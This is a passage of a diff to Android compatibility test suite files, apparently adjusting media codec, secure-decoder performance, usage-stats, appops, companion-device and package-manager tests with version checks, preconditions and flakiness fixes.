-                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-                // produce multiple progressive frames?) For now, do not verify timestamps.
-                if (mIsInterlaced) {
-                    assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
-                } else {
-                    assertTrue(log + "decoder output is flaky", ref.equals(test));
+                if (ref != null) {
+                    // TODO: Timestamps for deinterlaced content are under review.
+                    // (E.g. can decoders produce multiple progressive frames?)
+                    // For now, do not verify timestamps.
+                    if (mIsInterlaced) {
+                        assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+                    } else {
+                        assertTrue(log + "decoder output is flaky", ref.equals(test));
+                    }
                 }
             }
             mCodec.release();
@@ -368,19 +382,24 @@
         boolean[] boolStates = {true, false};
         OutputManager test = new OutputManager();
         {
-            decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
-            OutputManager ref = mOutputBuff;
-            if (!mIsInterlaced) {
-                assertTrue("input pts list and reference pts list are not identical",
-                        ref.isOutPtsListIdenticalToInpPtsList(false));
-            }
-            decodeAndSavePts(mReconfigFile, mCodecName, pts, mode, Integer.MAX_VALUE);
-            OutputManager configRef = mOutputBuff;
-            // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-            // produce multiple progressive frames?) For now, do not verify timestamps.
-            if (!mIsInterlaced) {
-                assertTrue("input pts list and reconfig ref output pts list are not identical",
-                        configRef.isOutPtsListIdenticalToInpPtsList(false));
+            OutputManager ref = null;
+            OutputManager configRef = null;
+
+            if (!mSkipChecksumVerification || VNDK_IS_AT_LEAST_T) {
+                decodeAndSavePts(mTestFile, mCodecName, pts, mode, Integer.MAX_VALUE);
+                ref = mOutputBuff;
+                if (!mIsInterlaced) {
+                    assertTrue("input pts list and reference pts list are not identical",
+                            ref.isOutPtsListIdenticalToInpPtsList(false));
+                }
+                decodeAndSavePts(mReconfigFile, mCodecName, pts, mode, Integer.MAX_VALUE);
+                configRef = mOutputBuff;
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (!mIsInterlaced) {
+                    assertTrue("input pts list and reconfig ref output pts list are not identical",
+                            configRef.isOutPtsListIdenticalToInpPtsList(false));
+                }
             }
             mOutputBuff = test;
             mCodec = MediaCodec.createByCodecName(mCodecName);
@@ -415,12 +434,15 @@
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-                // produce multiple progressive frames?) For now, do not verify timestamps.
-                if (mIsInterlaced) {
-                    assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
-                } else {
-                    assertTrue(log + "decoder output is flaky", ref.equals(test));
+                if (ref != null) {
+                    // TODO: Timestamps for deinterlaced content are under review.
+                    // (E.g. can decoders produce multiple progressive frames?)
+                    // For now, do not verify timestamps.
+                    if (mIsInterlaced) {
+                        assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+                    } else {
+                        assertTrue(log + "decoder output is flaky", ref.equals(test));
+                    }
                 }
                 /* test reconfigure codec at eos state */
                 reConfigureCodec(format, !isAsync, false, false);
@@ -436,12 +458,15 @@
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-                // produce multiple progressive frames?) For now, do not verify timestamps.
-                if (mIsInterlaced) {
-                    assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
-                } else {
-                    assertTrue(log + "decoder output is flaky", ref.equals(test));
+                if (ref != null) {
+                    // TODO: Timestamps for deinterlaced content are under review.
+                    // (E.g. can decoders produce multiple progressive frames?)
+                    // For now, do not verify timestamps.
+                    if (mIsInterlaced) {
+                        assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+                    } else {
+                        assertTrue(log + "decoder output is flaky", ref.equals(test));
+                    }
                 }
                 mExtractor.release();
 
@@ -463,12 +488,16 @@
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
-                // produce multiple progressive frames?) For now, do not verify timestamps.
-                if (mIsInterlaced) {
-                    assertTrue(log + "decoder output is flaky", configRef.equalsInterlaced(test));
-                } else {
-                    assertTrue(log + "decoder output is flaky", configRef.equals(test));
+                if (configRef != null) {
+                    // TODO: Timestamps for deinterlaced content are under review.
+                    // (E.g. can decoders produce multiple progressive frames?)
+                    // For now, do not verify timestamps.
+                    if (mIsInterlaced) {
+                        assertTrue(log + "decoder output is flaky",
+                            configRef.equalsInterlaced(test));
+                    } else {
+                        assertTrue(log + "decoder output is flaky", configRef.equals(test));
+                    }
                 }
                 mExtractor.release();
             }
@@ -482,6 +511,9 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testSimpleDecodeToSurfaceNative() throws IOException {
+        if (mSkipChecksumVerification) {
+            Assume.assumeTrue("vendor should be T or higher", VNDK_IS_AT_LEAST_T);
+        }
         MediaFormat format = setUpSource(mTestFile);
         mExtractor.release();
         mActivity.setScreenParams(getWidth(format), getHeight(format), false);
@@ -496,6 +528,9 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testFlushNative() throws IOException {
+        if (mSkipChecksumVerification) {
+            Assume.assumeTrue("vendor should be T or higher", VNDK_IS_AT_LEAST_T);
+        }
         MediaFormat format = setUpSource(mTestFile);
         mExtractor.release();
         mActivity.setScreenParams(getWidth(format), getHeight(format), true);
diff --git a/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
index eff5860..96836e6 100644
--- a/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
+++ b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
@@ -222,23 +222,23 @@
                         MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
 
                 // 601FR
-                {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit.mp4",
+                {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit_fr.mp4",
                         MediaFormat.COLOR_RANGE_FULL,
                         MediaFormat.COLOR_STANDARD_BT601_NTSC,
                         MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
-                {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit.mp4",
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit_fr.mp4",
                         MediaFormat.COLOR_RANGE_FULL,
                         MediaFormat.COLOR_STANDARD_BT601_NTSC,
                         MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
-                {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit.webm",
+                {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit_fr.webm",
                         MediaFormat.COLOR_RANGE_FULL,
                         MediaFormat.COLOR_STANDARD_BT601_NTSC,
                         MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
-                {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit.webm",
+                {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit_fr.webm",
                         MediaFormat.COLOR_RANGE_FULL,
                         MediaFormat.COLOR_STANDARD_BT601_NTSC,
                         MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
-                {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit.webm",
+                {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit_fr.webm",
                         MediaFormat.COLOR_RANGE_FULL,
                         MediaFormat.COLOR_STANDARD_BT601_NTSC,
                         MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
diff --git a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
index 9c722c4..72e4765 100644
--- a/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderColorAspectsTest.java
@@ -263,6 +263,11 @@
     @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS)
     public void testColorAspects() throws IOException, InterruptedException {
         Assume.assumeTrue("Test introduced with Android 11", sIsAtLeastR);
+        if (mSurfaceMode) {
+            Assume.assumeTrue("Surface mode tests are limited to devices launching with Android T",
+                    FIRST_SDK_IS_AT_LEAST_T);
+        }
+
         if (mUseHighBitDepth) {
             // Check if encoder is capable of supporting HDR profiles.
             // Previous check doesn't verify this as profile isn't set in the format
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index 9011b62..774595c 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
         } else {
-            return (getTopDirString() + "test/CtsMediaV2TestCases-2.3/");
+            return (getTopDirString() + "test/CtsMediaV2TestCases-2.4/");
         }
     }
 }
diff --git a/tests/mediapc/AndroidManifest.xml b/tests/mediapc/AndroidManifest.xml
index 15a716a..bbb1934 100644
--- a/tests/mediapc/AndroidManifest.xml
+++ b/tests/mediapc/AndroidManifest.xml
@@ -23,6 +23,7 @@
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.CAMERA" />
     <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <uses-permission android:name="android.permission.INTERNET" />
 
     <application
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
index ca7a17a..37f0106 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
@@ -17,26 +17,34 @@
 package android.mediapc.cts;
 
 import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_SecurePlayback;
+import static android.mediapc.cts.CodecDecoderTestBase.WIDEVINE_UUID;
 import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
 import static org.junit.Assert.assertTrue;
 
+import android.content.Context;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
 import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
+import android.media.MediaDrm;
 import android.media.MediaFormat;
+import android.media.UnsupportedSchemeException;
 import android.mediapc.cts.common.Utils;
+import android.net.ConnectivityManager;
+import android.net.NetworkCapabilities;
+import android.net.Network;
 import android.os.Build;
 import android.util.Log;
 import android.util.Pair;
-
-import org.junit.Before;
-
 import java.io.IOException;
+import java.net.InetAddress;
+import java.net.Socket;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
+import org.junit.Assume;
+import org.junit.Before;
 
 public class MultiCodecPerfTestBase {
     private static final String LOG_TAG = MultiCodecPerfTestBase.class.getSimpleName();
@@ -186,4 +194,43 @@
         codec.release();
         return isSecureSupported;
     }
+
+    boolean isWidevineSupported() {
+        return MediaDrm.isCryptoSchemeSupported(WIDEVINE_UUID);
+    }
+
+    boolean isWidevineL1Supported() throws UnsupportedSchemeException {
+        boolean isL1Supported = false;
+        if (isWidevineSupported()) {
+            MediaDrm mediaDrm = new MediaDrm(WIDEVINE_UUID);
+            isL1Supported = mediaDrm.getPropertyString("securityLevel").equals("L1");
+            mediaDrm.close();
+        }
+        return isL1Supported;
+    }
+
+    boolean isInternetAvailable() {
+        Context context = androidx.test.core.app.ApplicationProvider.getApplicationContext();
+        ConnectivityManager cm = context.getSystemService(ConnectivityManager.class);
+        NetworkCapabilities cap = cm.getNetworkCapabilities(cm.getActiveNetwork());
+        if (cap == null) return false;
+        return cap.hasCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET);
+    }
+
+    boolean meetsSecureDecodePreconditions() throws UnsupportedSchemeException {
+        Assume.assumeTrue("Skipping secure decoder performance tests as Widevine is not supported",
+                isWidevineSupported());
+
+        if (Utils.isTPerfClass()) {
+            assertTrue("If Widevine is supported, L1 support is required for media performance " +
+                            "class T devices",
+                    isWidevineL1Supported());
+            assertTrue("Test requires internet connection for validating secure decoder " +
+                            "requirements for media performance class T devices",
+                    isInternetAvailable());
+            return true;
+        }
+
+        return isWidevineL1Supported() && isInternetAvailable();
+    }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
index 0c69346..9638882 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPairPerfTest.java
@@ -18,19 +18,14 @@
 
 import static org.junit.Assert.assertTrue;
 
-import android.media.MediaCodecInfo;
 import android.media.MediaFormat;
 import android.mediapc.cts.common.PerformanceClassEvaluator;
 import android.mediapc.cts.common.Utils;
 import android.util.Pair;
 
 import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
 
 import org.junit.Assume;
 import org.junit.Rule;
@@ -143,7 +138,7 @@
             testCodec(null, 1080, 1920, REQUIRED_MIN_CONCURRENT_SECURE_INSTANCES);
         } else if (onlyOneSecure) {
             testCodec(m1080pTestFiles, 1080, 1920,
-                    REQUIRED_CONCURRENT_NON_SECURE_INSTANCES_WITH_SECURE + 1, true);
+                    REQUIRED_CONCURRENT_NON_SECURE_INSTANCES_WITH_SECURE + 1);
         } else {
             testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
         }
@@ -151,21 +146,21 @@
 
     private void testCodec(Map<String, String> testFiles, int height, int width,
             int requiredMinInstances) throws Exception {
-        testCodec(testFiles, height, width, requiredMinInstances, false);
-    }
-
-    private void testCodec(Map<String, String> testFiles, int height, int width,
-            int requiredMinInstances, boolean secureWithUnsecure) throws Exception {
         mTestFiles = testFiles;
         ArrayList<Pair<String, String>> mimeDecoderPairs = new ArrayList<>();
         mimeDecoderPairs.add(mFirstPair);
         mimeDecoderPairs.add(mSecondPair);
-        boolean bothSecure = true;
+        boolean isFirstSecure = isSecureSupportedCodec(mFirstPair.second, mFirstPair.first);
+        boolean isSecondSecure = isSecureSupportedCodec(mSecondPair.second, mSecondPair.first);
+        boolean secureWithUnsecure = isFirstSecure ^ isSecondSecure;
+        boolean bothSecure = isFirstSecure & isSecondSecure;
         int maxInstances = checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
                 mimeDecoderPairs, requiredMinInstances);
         double achievedFrameRate = 0.0;
+        boolean meetsPreconditions = (isFirstSecure || isSecondSecure) ?
+                meetsSecureDecodePreconditions() : true;
         // secure test should not reach this point if secure codec doesn't support PP
-        if (maxInstances >= requiredMinInstances || secureWithUnsecure) {
+        if (meetsPreconditions && (maxInstances >= requiredMinInstances || secureWithUnsecure)) {
             int secondPairInstances = maxInstances / 2;
             int firstPairInstances = maxInstances - secondPairInstances;
             if (secureWithUnsecure) {
@@ -176,8 +171,7 @@
             }
             List<Decode> testList = new ArrayList<>();
             for (int i = 0; i < firstPairInstances; i++) {
-                boolean isSecure = isSecureSupportedCodec(mFirstPair.second, mFirstPair.first);
-                bothSecure &= isSecure;
+                boolean isSecure = isFirstSecure;
                 String testFile = isSecure ? m1080pWidevineTestFiles.get(mFirstPair.first) :
                         mTestFiles.get(mFirstPair.first);
                 Assume.assumeTrue("Add " + (isSecure ? "secure" : "") + " test vector for mime: " +
@@ -186,14 +180,13 @@
                         isSecure));
             }
             for (int i = 0; i < secondPairInstances; i++) {
-                boolean isSecure = isSecureSupportedCodec(mSecondPair.second, mSecondPair.first);
-                bothSecure &= isSecure;
+                boolean isSecure = isSecondSecure;
                 String testFile = isSecure ? m1080pWidevineTestFiles.get(mSecondPair.first) :
                         mTestFiles.get(mSecondPair.first);
                 Assume.assumeTrue("Add " + (isSecure ? "secure" : "") + " test vector for mime: " +
-                        mFirstPair.first, testFile != null);
-                testList.add(new Decode(mSecondPair.first, testFile, mSecondPair.second, mIsAsync,
-                        isSecure));
+                        mSecondPair.first, testFile != null);
+                testList.add(new Decode(mSecondPair.first, testFile, mSecondPair.second,
+                        mIsAsync, isSecure));
             }
             ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
             List<Future<Double>> resultList = pool.invokeAll(testList);
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
index 13203cc..f67684e 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiDecoderPerfTest.java
@@ -16,28 +16,12 @@
 
 package android.mediapc.cts;
 
-import static org.junit.Assert.assertTrue;
-
 import android.media.MediaFormat;
 import android.mediapc.cts.common.PerformanceClassEvaluator;
 import android.mediapc.cts.common.Utils;
 import android.util.Pair;
-
 import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
-
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import org.junit.Assume;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.rules.TestName;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.List;
@@ -45,6 +29,12 @@
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.Future;
+import org.junit.Assume;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
 
 /**
  * The following test class validates the maximum number of concurrent decode sessions that it can
@@ -132,7 +122,9 @@
                 checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
                         mimeDecoderPairs, requiredMinInstances);
         double achievedFrameRate = 0.0;
-        if (maxInstances >= requiredMinInstances) {
+        boolean meetsPreconditions = isSecure ? meetsSecureDecodePreconditions() : true;
+
+        if (meetsPreconditions && maxInstances >= requiredMinInstances) {
             ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
             List<Decode> testList = new ArrayList<>();
             for (int i = 0; i < maxInstances; i++) {
diff --git a/tests/tests/app.usage/TestApp1/AndroidManifest.xml b/tests/tests/app.usage/TestApp1/AndroidManifest.xml
index e8f341d..8ae8c9e 100644
--- a/tests/tests/app.usage/TestApp1/AndroidManifest.xml
+++ b/tests/tests/app.usage/TestApp1/AndroidManifest.xml
@@ -25,6 +25,9 @@
         <activity android:name=".SomeActivityWithLocus"
                   android:exported="true"
         />
+        <activity android:name=".FinishOnResumeActivity"
+            android:exported="true"
+        />
         <service android:name=".TestService"
                   android:exported="true"
         />
diff --git a/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/FinishOnResumeActivity.java b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/FinishOnResumeActivity.java
new file mode 100644
index 0000000..dbe8a59
--- /dev/null
+++ b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/FinishOnResumeActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.usage.cts.test1;
+
+import androidx.annotation.Nullable;
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public final class FinishOnResumeActivity extends Activity {
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        finish();
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 3821929..63491b8 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -150,6 +150,8 @@
             = "android.app.usage.cts.test1.TestService";
     static final String TEST_APP_CLASS_BROADCAST_RECEIVER
             = "android.app.usage.cts.test1.TestBroadcastReceiver";
+    private static final String TEST_APP_CLASS_FINISH_SELF_ON_RESUME =
+            "android.app.usage.cts.test1.FinishOnResumeActivity";
     private static final String TEST_AUTHORITY = "android.app.usage.cts.test1.provider";
     private static final String TEST_APP_CONTENT_URI_STRING = "content://" + TEST_AUTHORITY;
     private static final String TEST_APP2_PKG = "android.app.usage.cts.test2";
@@ -549,6 +551,14 @@
                 startTime, endTime);
         UsageStats stats = events.get(mTargetPackage);
         int startingCount = stats.getAppLaunchCount();
+        // Launch count is updated by UsageStatsService depending on last background package.
+        // When running this test on single screen device (where tasks are launched in the same
+        // TaskDisplayArea), the last background package is updated when the HOME activity is
+        // paused. In a hierarchy with multiple TaskDisplayArea there is no guarantee the Home
+        // Activity will be paused as the activities we launch might be placed on a different
+        // TaskDisplayArea. Starting an activity and finishing it immediately will update the last
+        // background package of the UsageStatsService regardless of the HOME Activity state.
+        launchTestActivity(TEST_APP_PKG, TEST_APP_CLASS_FINISH_SELF_ON_RESUME);
         launchSubActivity(Activities.ActivityOne.class);
         launchSubActivity(Activities.ActivityTwo.class);
         endTime = System.currentTimeMillis();
@@ -556,10 +566,9 @@
                 startTime, endTime);
         stats = events.get(mTargetPackage);
         assertEquals(startingCount + 1, stats.getAppLaunchCount());
+        mUiDevice.pressHome();
 
-        // Launch a new activity so the other sub activities go into a paused state.
-        launchTestActivity(TEST_APP_PKG, TEST_APP_CLASS);
-
+        launchTestActivity(TEST_APP_PKG, TEST_APP_CLASS_FINISH_SELF_ON_RESUME);
         launchSubActivity(Activities.ActivityOne.class);
         launchSubActivity(Activities.ActivityTwo.class);
         launchSubActivity(Activities.ActivityThree.class);
diff --git a/tests/tests/appop/src/android/app/appops/cts/DiscreteAppopsTest.kt b/tests/tests/appop/src/android/app/appops/cts/DiscreteAppopsTest.kt
index f889e24..9b82f5c 100644
--- a/tests/tests/appop/src/android/app/appops/cts/DiscreteAppopsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/DiscreteAppopsTest.kt
@@ -157,6 +157,8 @@
         uiDevice.wakeUp()
         uiDevice.executeShellCommand("wm dismiss-keyguard")
         uiDevice.executeShellCommand("input keyevent KEYCODE_HOME")
+
+        instrumentation.uiAutomation.waitForIdle(1000, 10000)
     }
 
     @After
diff --git a/tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt b/tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt
index 79a4fd8..1ce4da3 100644
--- a/tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/ForegroundModeAndActiveTest.kt
@@ -81,6 +81,8 @@
         uiDevice.wakeUp()
         uiDevice.executeShellCommand("wm dismiss-keyguard")
         uiDevice.executeShellCommand("input keyevent KEYCODE_HOME")
+
+        instrumentation.uiAutomation.waitForIdle(1000, 10000)
     }
 
     @Before
diff --git a/tests/tests/bluetooth/AndroidTest.xml b/tests/tests/bluetooth/AndroidTest.xml
index 91b6e36..9a3075b 100644
--- a/tests/tests/bluetooth/AndroidTest.xml
+++ b/tests/tests/bluetooth/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsBluetoothTestCases.apk" />
diff --git a/tests/tests/companion/core/src/android/companion/cts/core/DumpSysTest.kt b/tests/tests/companion/core/src/android/companion/cts/core/DumpSysTest.kt
index dce993a..d8f377b 100644
--- a/tests/tests/companion/core/src/android/companion/cts/core/DumpSysTest.kt
+++ b/tests/tests/companion/core/src/android/companion/cts/core/DumpSysTest.kt
@@ -18,6 +18,8 @@
 
 import android.companion.cts.common.DEVICE_DISPLAY_NAME_A
 import android.companion.cts.common.DEVICE_DISPLAY_NAME_B
+import android.companion.cts.common.assertOnlyPrimaryCompanionDeviceServiceNotified
+import android.companion.cts.common.assertValidCompanionDeviceServicesUnbind
 import android.platform.test.annotations.AppModeFull
 import androidx.test.ext.junit.runners.AndroidJUnit4
 import com.android.compatibility.common.util.SystemUtil
@@ -54,15 +56,18 @@
         assertFalse(out[1].contains("id=$associationId")) // But not present yet
         assertFalse(out[2].contains("u$userId\\$targetPackageName")) // App is not bound yet
 
-        // Publish device's presence.
+        // Publish device's presence and wait for callback.
         cdm.notifyDeviceAppeared(associationId)
+        assertOnlyPrimaryCompanionDeviceServiceNotified(associationId, appeared = true)
 
         out = dumpCurrentState()
         assertTrue(out[0].contains("mId=$associationId")) // Device is still associated
         assertTrue(out[1].contains("id=$associationId")) // And also present
         assertTrue(out[2].contains("u$userId\\$targetPackageName")) // App is now bound
 
+        // Clean up
         cdm.notifyDeviceDisappeared(associationId)
+        assertValidCompanionDeviceServicesUnbind()
     }
 
     @Test
@@ -78,15 +83,18 @@
         assertFalse(out[1].contains("id=$idB")) // Device B not present
         assertFalse(out[2].contains("u$userId\\$targetPackageName")) // App is not bound yet
 
-        // Only publish device A's presence.
+        // Only publish device A's presence and wait for callback.
         cdm.notifyDeviceAppeared(idA)
+        assertOnlyPrimaryCompanionDeviceServiceNotified(idA, appeared = true)
 
         out = dumpCurrentState()
         assertTrue(out[1].contains("id=$idA")) // Device A is now present
         assertFalse(out[1].contains("id=$idB")) // Device B still not present
         assertTrue(out[2].contains("u$userId\\$targetPackageName")) // App is now bound
 
+        // Clean up
         cdm.notifyDeviceDisappeared(idA)
+        assertValidCompanionDeviceServicesUnbind()
     }
 
     /**
diff --git a/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/UiAutomationTestBase.kt b/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/UiAutomationTestBase.kt
index c961624..0919575 100644
--- a/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/UiAutomationTestBase.kt
+++ b/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/UiAutomationTestBase.kt
@@ -159,9 +159,11 @@
     }
 
     protected fun test_timeout(singleDevice: Boolean = false) {
-        setDiscoveryTimeout(1.seconds)
+        // Set discovery timeout to 2 seconds to avoid flaky that
+        // there's a chance CDM UI is disappeared before waitUntilVisible
+        // is called.
+        setDiscoveryTimeout(2.seconds)
 
-        // The discovery timeout is 1 sec, but let's give it 2.
         callback.assertInvokedByActions(2.seconds) {
             // Make sure no device will match the request
             sendRequestAndLaunchConfirmation(
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionCleanupTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionCleanupTest.java
index dd9d10f..599be5c 100644
--- a/tests/tests/content/src/android/content/pm/cts/InstallSessionCleanupTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionCleanupTest.java
@@ -103,7 +103,8 @@
         final List<PackageInstaller.SessionInfo> allSessions = mPackageInstaller.getAllSessions();
         List<Integer> result = new ArrayList<>();
         for (PackageInstaller.SessionInfo sessionInfo : allSessions) {
-            if (sessionInfo.installerPackageName.equals(installerPackageName)) {
+            if (sessionInfo.installerPackageName != null
+                        && sessionInfo.installerPackageName.equals(installerPackageName)) {
                 result.add(sessionInfo.sessionId);
             }
         }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
index c3b8a21..7f4b940 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandTest.java
@@ -67,6 +67,7 @@
 import android.os.Process;
 import android.os.RemoteException;
 import android.os.UserHandle;
+import android.os.UserManager;
 import android.platform.test.annotations.AppModeFull;
 import android.util.PackageUtils;
 
@@ -1535,6 +1536,7 @@
     @LargeTest
     @Test
     public void testCreateUserCurAsType() throws Exception {
+        assumeTrue(UserManager.supportsMultipleUsers());
